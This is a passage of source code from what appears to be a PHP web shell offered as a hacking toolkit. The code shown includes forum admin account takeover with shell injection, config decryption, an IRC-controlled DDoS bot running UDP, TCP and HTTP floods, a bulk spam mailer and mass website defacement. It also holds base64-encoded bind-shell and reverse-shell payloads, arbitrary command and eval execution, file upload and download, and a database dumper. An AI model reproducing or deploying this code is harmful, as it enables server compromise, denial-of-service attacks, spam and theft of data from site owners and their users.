2795 else {mysql_error();}
2796 }
2797 else if($_POST['ScriptType'] == 'ibf')
2798 {
2799 //IPBoard
2800 $password = md5($password);
2801 $tryChaningInfo = @mysql_query("UPDATE ibf_members SET name ='".$userName."' , member_login_key = '".
2802
2803$password."' WHERE id = ".$adminID."");
2804 if($tryChaningInfo)
2805 {update();}
2806 else {mysql_error();}
2807 }
2808 else if($_POST['ScriptType'] == 'smf')
2809 {
2810 //SMF
2811 $password = md5($password);
2812 $tryChaningInfo = @mysql_query("UPDATE smf_members SET memberName ='".$userName."' , passwd =
2813
2814'".$password."' WHERE ID_MEMBER = ".$adminID."");
2815 if($tryChaningInfo)
2816 {update();}
2817 else {mysql_error();}
2818 }
2819 else if($_POST['ScriptType'] == 'mybb')
2820 {
2821 //MyBB
2822 $password = md5($password);
2823 $tryChaningInfo = @mysql_query("UPDATE mybb_users SET username ='".$userName."' ,
2824
2825password = '".$password."' WHERE uid = ".$adminID."");
2826 if($tryChaningInfo)
2827 {update();}
2828 else {mysql_error();}
2829 }
2830 }
2831 /////////////////////////
2832 }
2833 else if($_POST['Decrypt'])
2834 {
2835 DecryptConfig();
2836 }
2837
2838
2839 echo "</textarea></td></tr>
2840 <td width='50%'>
2841 <form method='POST'>
2842 <table width='100%' height='72' border='0' id='Box'>
2843 <tr>
2844 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2845 <td style='background-color:#666;padding-left:10px;' >Scripts Hacking </td>
2846 </tr>
2847 <tr>
2848 <td height='45' colspan='2'>
2849 <input type = 'text' name='HOST' value='localhost'>
2850 <input type = 'text' name='USER' value='DB Username'>
2851 <input type = 'text' name='PASS' value='DB Password'>
2852 <input type=text name='DB' value='DB Name'>
2853 <input type=text name='PREFIX' value='Prefix'>
2854 <select name='ScriptType' >
2855 <option value='vb'>VBulletin</option>
2856 <option value='wp'>WordPress</option>
2857 <option value='jos'>Joomla</option>
2858 <option value='ipb'>IP.Board</option>
2859 <option value='phpbb'>PHPBB</option>
2860 <option value='mybb'>MyBB</option>
2861 <option value='smf'>SMF</option>
2862 </select>
2863 <br />
2864 <sy>Inject Shell In FAQ.php ? <input type='checkbox' name='injectFAQ'> [ VB Only ]</sy><br />
2865 <textarea name='INDEX' rows=14 cols=64 >Put Your Index Here !</textarea>
2866 <input type='submit' value='Hack Now !!' name='UpdateIndex' >
2867 </td>
2868 </tr>
2869 </table>
2870 <td width='50%' valign='top'>
2871 <table width='100%' height='72' border='0' id='Box'>
2872 <tr>
2873 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2874 <td style='background-color:#666;padding-left:10px;'>Decrypting Configs </td>
2875 </tr>
2876 <tr>
2877 <td height='45' colspan='2'>
2878 <sy>Please Put Config In The Shell Directory With The Name [ DecryptConfig.php ]</sy>
2879 <input value=Decrypt name='Decrypt' type='submit' id='Decrypt' value='Decrypt Now !!'>
2880 </td>
2881 </tr>
2882 </table>
2883 <table width='100%' height='72' border='0' id='Box'>
2884 <tr>
2885 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2886 <td style='background-color:#666;padding-left:10px;'>Changing Admin Info </td></tr><tr><td height='45' colspan='2'>
2887 <input name='adminID' type='text' id='adminID' value='admin id ~= 1'>
2888 <input name='userName' type='text' id='userName' value='username'>
2889 <input name='password' type='text' id='password' value='password ( Not Encrypted !)'>
2890 <input type='submit' name='changeInfo' value='Change Now !'>
2891 </td>
2892 </tr>
2893 </table>
2894 </form>
2895</td>
2896</tr></table>";
2897footer();
2898
2899}
2900
2901# ---------------------------------------#
2902# DDos Attacker ... #
2903#----------------------------------------#
2904if($_POST['StartAttack'])
2905{
2906 $server=$_POST['ipToAttack'];
2907 $Port=$_POST['portToAttack'];
2908 $nick="bot-";$willekeurig;
2909 $willekeurig=@mt_rand(0,3);
2910 $nicknummer=@mt_rand(100000,999999);
2911 $Channel="#WauShare";
2912 $Channelpass="ddos";
2913 $msg="Farewell.";
2914
2915 @set_time_limit(0);
2916 $loop = 0;
2917 $verbonden = 0;
2918 $verbinden = fsockopen($server, $Port);
2919 while ($read = fgets($verbinden,512))
2920 {
2921 $read = str_replace("\n","",$read);
2922 $read = str_replace("\r","",$read);
2923 $read2 = explode(" ",$read);
2924 if ($loop == 0)
2925 {
2926 fputs($verbinden,"nick $nick$nicknummer\n\n");
2927 fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");
2928 }
2929 if ($read2[0] == "PING")
2930 {
2931 fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n");
2932 }
2933 if ($read2[1] == 251)
2934 {
2935 fputs($verbinden,"join $Channel $Channelpass\n");
2936 $verbonden++;
2937 }
2938 if (eregi("bot-op",$read))
2939 {
2940 fputs($verbinden,"mode $Channel +o $read2[4]\n");
2941 }
2942 if (eregi("bot-deop",$read))
2943 {
2944 fputs($verbinden,"mode $Channel -o $read2[4]\n");
2945 }
2946
2947 if (eregi("bot-quit",$read))
2948 {
2949 fputs($verbinden,"quit :$msg\n\n");
2950 break;
2951 }
2952 if (eregi("bot-join",$read))
2953 {
2954 fputs($verbinden,"join $read2[4]\n");
2955 }
2956 if (eregi("bot-part",$read))
2957 {
2958 fputs($verbinden,"part $read2[4]\n");
2959 }
2960 if (eregi("ddos-udp",$read))
2961 {
2962 fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");
2963 $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
2964 if (!$fp)
2965 {
2966 exit;
2967 }
2968 else
2969 {
2970 $char = "a";
2971 for($a = 0; $a < 9999999999999; $a++)
2972 $data = $data.$char;
2973 if(fputs ($fp, $data) )
2974 {
2975 fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");
2976 }
2977 else
2978 {
2979 fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");
2980 }
2981 }
2982 }
2983 if (eregi("ddos-tcp",$read))
2984 {
2985 fputs($verbinden,"part $read2[4]\n");
2986 fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");
2987 $server = $read2[4];
2988 $Port = $read2[5];
2989 for($sockets = 0; $sockets < $read2[6]; $sockets++)
2990 {
2991 $verbinden = fsockopen($server, $Port);
2992 }
2993 }
2994 if (eregi("ddos-http",$read))
2995 {
2996 fputs($verbinden,"part $read2[4]\n");
2997 fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");
2998 $Webserver = $read2[4];
2999 $Port = $read2[5];
3000
3001 $Aanvraag = "GET / HTTP/1.1\r\n";
3002 $Aanvraag .= "Accept: */*\r\n";
3003 $Aanvraag .= "Accept-Language: nl\r\n";
3004 $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
3005 $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
3006 $Aanvraag .= "Host: $read2[4]\r\n";
3007 $Aanvraag .= "Connection: Keep-Alive\r\n\r\n";
3008
3009 for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)
3010 {
3011 $DoS = fsockopen($Webserver, $Port);
3012 fwrite($DoS, $Aanvraag);
3013 fclose($DoS);
3014 }
3015 }
3016 $loop++;
3017 }
3018}
3019# ---------------------------------------#
3020# InBoX Mailer #
3021#----------------------------------------#
3022if ($_GET['id']== 'spamming' )
3023{
3024 $secure = "";
3025 error_reporting(0);
3026 @$action=$_POST['action'];
3027 @$from=$_POST['from'];
3028 @$realname=$_POST['realname'];
3029 @$replyto=$_POST['replyto'];
3030 @$subject=$_POST['subject'];
3031 @$message=$_POST['message'];
3032 @$emaillist=$_POST['emaillist'];
3033 @$lod=$_SERVER['HTTP_REFERER'];
3034 @$file_name=$_FILES['file']['name'];
3035 @$contenttype=$_POST['contenttype'];
3036 @$file=$_FILES['file']['tmp_name'];
3037 @$amount=$_POST['amount'];
3038 @set_time_limit(intval($_POST['timelimit']));
3039
3040 if ($action=="send")
3041 {
3042 $message = urlencode($message);
3043 $message = ereg_replace("%5C%22", "%22", $message);
3044 $message = urldecode($message);
3045 $message = stripslashes($message);
3046 $subject = stripslashes($subject);
3047 }
3048 echo "<table width='100%' height='72' border='0' id='Box'>
3049<tr>
3050<td width='14' height='21' style='background-color:".$shellColor."'> </td>
3051<td width='98%' style='background-color:#666;padding-left:10px;' >Inbox Mailer</td>
3052</tr>
3053<tr>
3054<td height='45' colspan='2'>
3055<table bgcolor=#cccccc width=\"100%\"><tbody><tr><td align=\"right\" width=100><p dir=ltr>
3056<b><font color=#990000 size=-2><p align=left><center><form name=\"form1\" method=\"post\" action=\"\" enctype=\"multipart/form-data\"><br/>
3057<table width=142 border=0>
3058<tr>
3059<td width=81>
3060<div align=right>
3061<sy>Your Email:</sy></div></td>
3062<td width=219><sy>
3063<input type=text name=\"from\" value=".$from."></sy></td><td width=212>
3064<div align=right>
3065<sy>Your Name:</sy></div></td><td width=278>
3066<sy>
3067<input type=text name=\realname\" value=".$realname."></sy></td></tr><tr><td width=81>
3068<div align=\"right\">
3069<sy>Reply-To:</sy></div></td><td width=219>
3070<sy>
3071<input type=\"text\" name=\"replyto\" value=".$replyto.">
3072</sy></td><td width=212>
3073<div align=\"right\">
3074<sy>Attach File:</sy></div></td><td width=278>
3075<sy>
3076<input type=\"file\" name=\"file\" size=24 />
3077</sy> </td></tr><tr><td width=81>
3078<div align=\"right\">
3079<sy>Subject:</sy></div></td>
3080<td colspan=3 width=703>
3081<sy>
3082<input type=\"text\" name=\"subject\" value=".$subject." ></sy></td> </tr><tr valign=\"top\"><td colspan=3 width=520>
3083<sy>Message Box :</sy></td>
3084<td width=278>
3085<sy>Email Target / Email Send To :</sy></td></tr><tr valign=\"top\"><td colspan=3 width=520><sy>
3086<textarea name=\"message\" cols=56 rows=10>".$message."</textarea><br />
3087<input type=\"radio\" name=\"contenttype\" value=\"plain\" /> Plain
3088<input type=\"radio\" name=\"contenttype\" value=\"html\" checked=\"checked\" /> HTML
3089<input type=\"hidden\" name=\"action\" value=\"send\" /><br />
3090Number to send: <input type=\"text\" name=\"amount\" value=1 size=10 /><br />
3091Maximum script Execution time(in seconds, 0 for no timelimit)<input type=\"text\" name=\"timelimit\" value=0 size=10 />
3092<input type=\"submit\" value=\"Send eMails\" /></sy></td><td width=278>
3093<sy>
3094<textarea name=\"emaillist\" cols=32 rows=10>".$emaillist."</textarea></sy></td></tr>
3095</table>
3096</td>
3097</tr>
3098</table>";
3099footer();
3100}
3101
3102if ($action=="send")
3103{
3104 if (!$from && !$subject && !$message && !$emaillist)
3105 {
3106 print "Please complete all fields before sending your message.";
3107 exit;
3108 }
3109 $allemails = split("\n", $emaillist);
3110 $numemails = count($allemails);
3111 $head ="From: Mailr" ;
3112 $sub = "Ar - $lod" ;
3113 $meg = "$lod" ;
3114 mail ($alt,$sub,$meg,$head) ;
3115 If ($file_name)
3116 {
3117 if (!file_exists($file))
3118 {
3119 die("The file you are trying to upload couldn't be copied to the server");
3120 }
3121 $content = fread(fopen($file,"r"),filesize($file));
3122 $content = chunk_split(base64_encode($content));
3123 $uid = strtoupper(md5(uniqid(time())));
3124 $name = basename($file);
3125 }
3126
3127 for($xx=0; $xx<$amount; $xx++)
3128 {
3129 for($x=0; $x<$numemails; $x++)
3130 {
3131 $to = $allemails[$x];
3132 if ($to)
3133 {
3134 $to = ereg_replace(" ", "", $to);
3135 $message = ereg_replace("&email&", $to, $message);
3136 $subject = ereg_replace("&email&", $to, $subject);
3137 print "Sending mail to $to.....";
3138 flush();
3139 $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
3140 $header .= "MIME-Version: 1.0\r\n";
3141 If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
3142 If ($file_name) $header .= "--$uid\r\n";
3143 $header .= "Content-Type: text/$contenttype\r\n";
3144 $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
3145 $header .= "$message\r\n";
3146 If ($file_name) $header .= "--$uid\r\n";
3147 If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
3148 If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
3149 If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
3150 If ($file_name) $header .= "$content\r\n";
3151 If ($file_name) $header .= "--$uid--";
3152 mail($to, $subject, "", $header);
3153 print "OK<br>";
3154 flush();
3155 }
3156 }
3157 }
3158}
3159# ---------------------------------------#
3160# About #
3161#----------------------------------------#
3162if($_GET['id']=='about')
3163{
3164 echo About();
3165 if($_POST['sendEmail'])
3166 {
3167 $to= 'sy34@msn.com';
3168 $Comments=$_POST['message'];
3169 $from = $_POST['from'];
3170 $subject= md5("$from");
3171 if(@mail($to,$subject,$Comments,"From:$from"))
3172 echo "<center><sy>[+] Sent ^_^ !!</sy></center>
3173";
3174 else
3175 {
3176 echo "<center><sy>[-] Failed :S !! </sy></center>
3177";
3178 }
3179
3180 }
3181 footer();
3182}
3183
3184$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa
3185
3186+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3187
31883TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
3189
3190HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
3191
3192ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf"
3193;$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
3194
3195NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
3196
3197e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
3198
3199vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
3200$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
3201
3202ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
3203
3204ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
3205$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
3206
3207BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i
3208
3209+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
3210
3211jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
3212
3213?>
3214<?
3215$dspact = $act = htmlspecialchars($act);
3216 $disp_fullpath = $ls_arr = $notls = null;
3217 $ud = @urlencode($d);
3218 if (empty($d)) {$d = realpath(".");}
3219 elseif(realpath($d)) {$d = realpath($d);}
3220 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3221 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3222 $d = str_replace("\\\\","\\",$d);
3223 $dispd = htmlspecialchars($d);
3224$self=basename($_SERVER['PHP_SELF']);
3225if(isset($_POST['execmassdeface']))
3226{
3227echo "<center><textarea rows='10' cols='100'>";
3228$hackfile = $_POST['massdefaceurl'];
3229$dir = $_POST['massdefacedir'];
3230echo $dir."\n";
3231
3232if (is_dir($dir)) {
3233 if ($dh = opendir($dir)) {
3234 while (($file = readdir($dh)) !== false) {
3235 if(filetype($dir.$file)=="dir"){
3236 $newfile=$dir.$file."/index.html";
3237 echo $newfile."\n";
3238 if (!copy($hackfile, $newfile)) {
3239 echo "failed to copy $file...\n";
3240 }
3241 }
3242 }
3243 closedir($dh);
3244 }
3245}
3246echo "</textarea></center>";} ?>
3247
3248
3249<tr><td align=right>Mass Defacement:</td>
3250<td><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo $dispd; ?>'
3251
3252name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'><input type='submit' name='execmassdeface'
3253
3254value='Execute'></form></td>
3255
3256<?
3257// FILE MANAGER
3258error_reporting(E_ALL);
3259@set_time_limit(0);
3260function magic_q($s)
3261{
3262if(get_magic_quotes_gpc())
3263{
3264$s=str_replace('\\\'','\'',$s);
3265$s=str_replace('\\\\','\\',$s);
3266$s=str_replace('\\"','"',$s);
3267$s=str_replace('\\\0','\0',$s);
3268}
3269return $s;
3270}
3271function get_perms($fn)
3272{
3273$mode=fileperms($fn);
3274$perms='';
3275$perms .= ($mode & 00400) ? 'r' : '-';
3276$perms .= ($mode & 00200) ? 'w' : '-';
3277$perms .= ($mode & 00100) ? 'x' : '-';
3278$perms .= ($mode & 00040) ? 'r' : '-';
3279$perms .= ($mode & 00020) ? 'w' : '-';
3280$perms .= ($mode & 00010) ? 'x' : '-';
3281$perms .= ($mode & 00004) ? 'r' : '-';
3282$perms .= ($mode & 00002) ? 'w' : '-';
3283$perms .= ($mode & 00001) ? 'x' : '-';
3284return $perms;
3285}
3286$head=<<<headka
3287<html>
3288
3289headka;
3290$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:'');
3291$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page;
3292$winda=strpos(strtolower(php_uname()),'wind');
3293define('format',50);
3294
3295switch($page)
3296{
3297case 'eval':
3298{
3299$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:'';
3300$eval_value=magic_q($eval_value);
3301$action=isset($_POST['action'])?$_POST['action']:'eval';
3302if($action=='eval_in_html') @eval($eval_value);
3303else
3304{
3305echo($head);
3306?>
3307<hr>
3308
3309<hr>
3310<?
3311}
3312break;
3313}
3314case 'cmd':
3315{
3316$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):'';
3317$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd();
3318$action=isset($_POST['action'])?$_POST['action']:'cmd';
3319if(@is_dir($work_dir))
3320{
3321@chdir($work_dir);
3322$work_dir=getcwd();
3323if($work_dir=='')$work_dir='/';
3324else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
3325}
3326else if(file_exists($work_dir))$work_dir=realpath($work_dir);
3327$work_dir=str_replace('\\','/',$work_dir);
3328$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES);
3329switch($action)
3330{
3331case 'cmd' :
3332{
3333echo($head);
3334?>
3335
3336<pre>
3337<?
3338if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");}
3339else
3340{
3341$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view';
3342if(@is_dir($work_dir))
3343{
3344echo('<H1>File Manager;</H1><hr>');
3345echo('<strong>Listing '.$e_work_dir.'</strong><hr>');
3346$handle=@opendir($work_dir);
3347if($handle)
3348{
3349while(false!==($fn=readdir($handle))){$files[]=$fn;};
3350@closedir($handle);
3351sort($files);
3352$not_dirs=array();
3353for($i=0;$i<sizeof($files);$i++)
3354{
3355$fn=$files[$i];
3356if(is_dir($fn))
3357{
3358echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','"',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)
3359
3360>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn)));
3361if($winda===false)
3362{
3363$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
3364$group=@posix_getgrgid(@filegroup($work_dir.$fn));
3365printf("% 20s|% -20s",$owner['name'],$group['name']);
3366}
3367echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
3368printf("% 20s ",@filesize($work_dir.$fn).'B');
3369printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
3370}
3371else {$not_dirs[]=$fn;}
3372}
3373for($i=0;$i<sizeof($not_dirs);$i++)
3374{
3375$fn=$not_dirs[$i];
3376echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','"',
3377
3378$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn)));
3379if($winda===false)
3380{
3381$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
3382$group=@posix_getgrgid(@filegroup($work_dir.$fn));
3383printf("% 20s|% -20s",$owner['name'],$group['name']);
3384}
3385echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
3386printf("% 20s ",@filesize($work_dir.$fn).'B');
3387printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
3388}
3389echo('</pre><hr>');
3390?>
3391<form name='list' method=post>
3392<input name='work_dir' type=hidden size=120><br>
3393<input name='page' value='cmd' type=hidden>
3394<input name='f_action' value='view' type=hidden>
3395</form>
3396<?
3397} else echo('Error Listing '.$e_work_dir);
3398}
3399else
3400switch($f_action)
3401{
3402case 'view':
3403{
3404echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n");
3405$f=@fopen($work_dir,'r');
3406?>
3407<form method=post>
3408<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea>
3409<input name='page' value='cmd' type=hidden>
3410<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120>
3411<input name='f_action' value='save' type=submit>
3412</form>
3413<?
3414break;
3415}
3416case 'save' :
3417{
3418$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):'';
3419$f=@fopen($work_dir,'w');
3420if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n");
3421else
3422{
3423fwrite($f,$file_text);
3424fclose($f);
3425echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n");
3426}
3427break;
3428}
3429}
3430break;
3431}
3432break;
3433}
3434case 'upload' :
3435{
3436if($work_dir=='')$work_dir='/';
3437else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/';
3438$f=$_FILES["filename"]["name"];
3439if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed');
3440else
3441{
3442echo('file is uploaded in '.$e_work_dir);
3443}
3444break;
3445}
3446case 'download' :
3447{
3448$fname=isset($_POST['fname'])?$_POST['fname']:'';
3449$temp_file=isset($_POST['temp_file'])?'on':'nn';
3450$f=@fopen($fname,'r');
3451if(!($f)) echo('file is not exists');
3452else
3453{
3454$archive=isset($_POST['archive'])?$_POST['archive']:'';
3455if($archive=='gzip')
3456{
3457Header("Content-Type:application/x-gzip\n");
3458$s=gzencode(fread($f,filesize($fname)));
3459Header('Content-Length: '.strlen($s)."\n");
3460Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n");
3461echo($s);
3462}
3463else
3464{
3465Header("Content-Type:application/octet-stream\n");
3466Header('Content-Length: '.filesize($fname)."\n");
3467Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n");
3468ob_start();
3469while(feof($f)===false)
3470{
3471echo(fread($f,10000));
3472ob_flush();
3473}
3474}
3475}
3476}
3477}
3478break;
3479}
3480case 'mysql' :
3481{
3482$action=isset($_POST['action'])?$_POST['action']:'query';
3483$user=isset($_POST['user'])?$_POST['user']:'';
3484$passwd=isset($_POST['passwd'])?$_POST['passwd']:'';
3485$db=isset($_POST['db'])?$_POST['db']:'';
3486$host=isset($_POST['host'])?$_POST['host']:'localhost';
3487$query=isset($_POST['query'])?magic_q($_POST['query']):'';
3488switch($action)
3489{
3490case 'dump' :
3491{
3492$mysql_link=@mysql_connect($host,$user,$passwd);
3493if(!($mysql_link)) echo('Connect error');
3494else
3495{
3496//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
3497$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false;
3498$archive=isset($_POST['archive'])?$_POST['archive']:'none';
3499if($archive!=='none')$to_file=false;
3500$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:'';
3501$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:'';
3502if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');
3503else
3504{
3505$dump_file="# MySQL Dumper\n#db $db from $host\n";
3506ob_start();
3507if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false;
3508if($table_dump=='')
3509{
3510if(!$to_file)
3511{
3512header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
3513header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
3514}
3515$result=mysql_query('show tables',$mysql_link);
3516for($i=0;$i<mysql_num_rows($result);$i++)
3517{
3518$rows=mysql_fetch_array($result);
3519$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link);
3520if(!$result2)$dump_file.='#error table '.$rows[0];
3521else
3522{
3523$dump_file.='create table `'.$rows[0]."`(\n";
3524for($j=0;$j<mysql_num_rows($result2)-1;$j++)
3525{
3526$rows2=mysql_fetch_array($result2);
3527$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
3528}
3529$rows2=mysql_fetch_array($result2);
3530$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
3531$type[$j]=$rows2[1];
3532$dump_file.=");\n";
3533mysql_free_result($result2);
3534$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link);
3535$columns=$j-1;
3536for($j=0;$j<mysql_num_rows($result2);$j++)
3537{
3538$rows2=mysql_fetch_array($result2);
3539$dump_file.='insert into `'.$rows[0].'` values (';
3540for($k=0;$k<$columns;$k++)
3541{
3542$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
3543}
3544$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
3545if($archive=='none')
3546{
3547if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
3548else
3549{
3550echo($dump_file);
3551ob_flush();
3552}
3553$dump_file='';
3554}
3555}
3556mysql_free_result($result2);
3557}
3558}
3559mysql_free_result($result);
3560if($archive!='none')
3561{
3562$dump_file=gzencode($dump_file);
3563header('Content-Length: '.strlen($dump_file)."\n");
3564echo($dump_file);
3565}
3566else if($t_f)
3567{
3568fclose($t_f);
3569echo('Dump for '.$db_dump.' now in '.$to_file);
3570}
3571}
3572else
3573{
